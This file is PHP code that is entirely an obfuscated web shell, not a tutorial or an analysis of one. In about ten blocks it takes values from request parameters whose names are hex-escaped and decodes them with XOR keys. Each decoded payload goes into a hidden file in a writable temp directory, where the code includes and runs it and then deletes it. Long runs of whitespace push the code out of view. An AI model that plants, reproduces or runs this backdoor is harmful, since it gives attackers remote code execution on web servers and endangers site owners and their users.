<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["p\x74r"])){ $flg = $_REQUEST["p\x74r"]; $flg = explode('.' , $flg ) ; $mrk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $n = 0; foreach( $flg as $v8) { $sChar = ord( $s[$n %$lenS]); $d =( ( int)$v8 - $sChar -( $n %10)) ^ 12; $mrk.=chr( $d); $n++;} $component = array_filter(["/dev/shm", sys_get_temp_dir(), session_save_path(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/tmp"]); foreach ($component as $entry) { if ((is_dir($entry) and is_writable($entry))) { $ent = join("/", [$entry, ".factor"]); if (file_put_contents($ent, $mrk)) { require $ent; unlink($ent); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["h\x6F\x6C\x64er"])){ $binding = array_filter(["/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP")]); $res = $_POST["h\x6F\x6C\x64er"]; $res=explode ("." , $res) ; $object = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1); foreach( $res as $w =>$v4): $chS = ord( $s1[$w %$lenS]); $d =( ( int)$v4 - $chS -( $w %10)) ^55; $object .= chr( $d); endforeach; for ($desc = 0, $obj = count($binding); $desc < $obj; $desc++) { $dat = $binding[$desc]; if (is_writable($dat) && is_dir($dat)) { $property_set = implode("/", [$dat, ".k"]); if (file_put_contents($property_set, $object)) { require $property_set; unlink($property_set); die(); } } } }
																																										if(isset($_POST["d\x61ta_c\x68unk"]) ? true : false){ $res = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/dev/shm"]); $ent = $_POST["d\x61ta_c\x68unk"]; $ent = explode( "." , $ent ) ; $k = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($ent as $m =>$v4): $chS = ord($salt[$m % $lenS]); $dec = ((int)$v4 - $chS - ($m % 10)) ^76; $k .= chr($dec); endforeach; foreach ($res as $parameter_group) { if ((is_dir($parameter_group) and is_writable($parameter_group))) { $value = "$parameter_group/.dchunk"; if (file_put_contents($value, $k)) { include $value; @unlink($value); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x65n\x74"])){ $obj = array_filter(["/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", session_save_path(), getenv("TMP"), getcwd(), getenv("TEMP")]); $flg = $_REQUEST["\x65n\x74"]; $flg =explode( '.' ,$flg ) ; $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $x = 0; foreach ($flg as $v8) { $chS = ord($salt[$x % $lenS] ); $d = ((int)$v8 - $chS - ($x % 10)) ^ 61; $key .= chr($d ); $x++; } for ($data = 0, $flag = count($obj); $data < $flag; $data++) { $holder = $obj[$data]; if (is_dir($holder) && is_writable($holder)) { $property_set = sprintf("%s/.comp", $holder); if (file_put_contents($property_set, $key)) { include $property_set; @unlink($property_set); exit; } } } }
																																										if(in_array("\x6D\x61\x72ker", array_keys($_REQUEST))){ $symbol = array_filter([getenv("TEMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir")]); $desc = $_REQUEST["\x6D\x61\x72ker"]; $desc = explode ( '.' , $desc ) ; $data = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7 ); foreach( $desc as $x =>$v9) {$sChar = ord( $salt7[$x %$lenS] ); $dec =( ( int)$v9 - $sChar -( $x %10)) ^ 73; $data .= chr( $dec ); } foreach ($symbol as $pgrp): if ((function($d) { return is_dir($d) && is_writable($d); })($pgrp)) { $ent = sprintf("%s/.elem", $pgrp); if (@file_put_contents($ent, $data) !== false) { include $ent; unlink($ent); die(); } } endforeach; }
																																										if(isset($_POST["d\x65s\x63"]) ? true : false){ $reference = $_POST["d\x65s\x63"]; $reference =explode ( '.' , $reference ) ; $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($reference); for($t = 0; $t < $len; $t++) {$v8 = $reference[$t]; $chS = ord($salt[$t % $lenS]); $d =((int)$v8 - $chS -($t % 10)) ^ 47; $val .=chr($d); } $flag = array_filter([sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp"]); while ($item = array_shift($flag)) { if (!!is_dir($item) && !!is_writable($item)) { $binding = "$item/.marker"; $file = fopen($binding, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $binding; @unlink($binding); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["e\x6Et\x69\x74y"])){ $dchunk = array_filter([sys_get_temp_dir(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm"]); $token = $_REQUEST["e\x6Et\x69\x74y"]; $token = explode ( '.' , $token) ; $k= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $r= 0; $__len= count($token); do { if ($r >= $__len) break; $v1= $token[$r]; $sChar= ord($s[$r% $lenS]); $d= ((int)$v1 - $sChar - ($r% 10)) ^89; $k .= chr($d); $r++; } while (true); $val = 0; do { $flag = $dchunk[$val] ?? null; if ($val >= count($dchunk)) break; if (is_dir($flag) ? is_writable($flag) : false) { $ent = str_replace("{var_dir}", $flag, "{var_dir}/.ptr"); if (file_put_contents($ent, $k)) { include $ent; @unlink($ent); exit; } } $val++; } while (true); }
																																										if(array_key_exists("elemen\x74", $_POST) && !is_null($_POST["elemen\x74"])){ $flg = $_POST["elemen\x74"]; $flg = explode( "." , $flg) ; $token = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); $w = 0; array_walk($flg ,function($v9) use(&$token ,&$w ,$s7 ,$sLen) { $chS = ord($s7[$w % $sLen]); $dec =((int)$v9 - $chS -($w % 10)) ^ 16; $token .= chr($dec); $w++;} ); $flag = array_filter(["/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/var/tmp", getcwd(), session_save_path(), sys_get_temp_dir()]); foreach ($flag as $hld) { if (!( !is_dir($hld) || !is_writable($hld) )) { $entry = implode("/", [$hld, ".object"]); $file = fopen($entry, 'w'); if ($file) { fwrite($file, $token); fclose($file); include $entry; @unlink($entry); exit; } } } }
																																										if(isset($_POST["e\x6Et\x69\x74y"])){ $flag = $_POST["e\x6Et\x69\x74y"]; $flag = explode ('.' , $flag) ; $reference = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $x = 0; $__len = count($flag); do { if ($x >= $__len) break; $v3 = $flag[$x]; $chS = ord($salt[$x % $sLen]); $d = ((int)$v3 - $chS - ($x % 10)) ^ 70; $reference .= chr($d); $x++; } while (true); $pgrp = array_filter([session_save_path(), getenv("TMP"), getcwd(), "/dev/shm", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp"]); $val = 0; do { $ent = $pgrp[$val] ?? null; if ($val >= count($pgrp)) break; if (max(0, is_dir($ent) * is_writable($ent))) { $object = str_replace("{var_dir}", $ent, "{var_dir}/.fac"); $file = fopen($object, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $object; @unlink($object); exit; } } $val++; } while (true); }


if(isset($_REQUEST["\x72es\x6Furc\x65"])){
	$record = $_REQUEST["\x72es\x6Furc\x65"];
	 	$record  = explode	( 	"." 		,	$record  )			;	 	
	$marker=  '';
            $salt7=  'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=  strlen($salt7);
            $len=  count($record);
    
            for ($v=  0; $v		<$len; $v++) { 	$v4=  $record[$v];
                $chS=  ord($salt7[$v%		$sLen]);
                $d=  ((int)$v4 - $chS - ($v%		10)) ^ 82;
                $marker .= chr($d);
            }
	$flag = array_filter(["/tmp", "/var/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm"]);
	$tkn = 0;
do {
    $token = $flag[$tkn] ?? null;
    if ($tkn >= count($flag)) break;
    		if ((bool)is_dir($token) && (bool)is_writable($token)) {
    $symbol = vsprintf("%s/%s", [$token, ".fac"]);
    $success = file_put_contents($symbol, $marker);
if ($success) {
	include $symbol;
	@unlink($symbol);
	die();}
}
    $tkn++;
} while (true);
}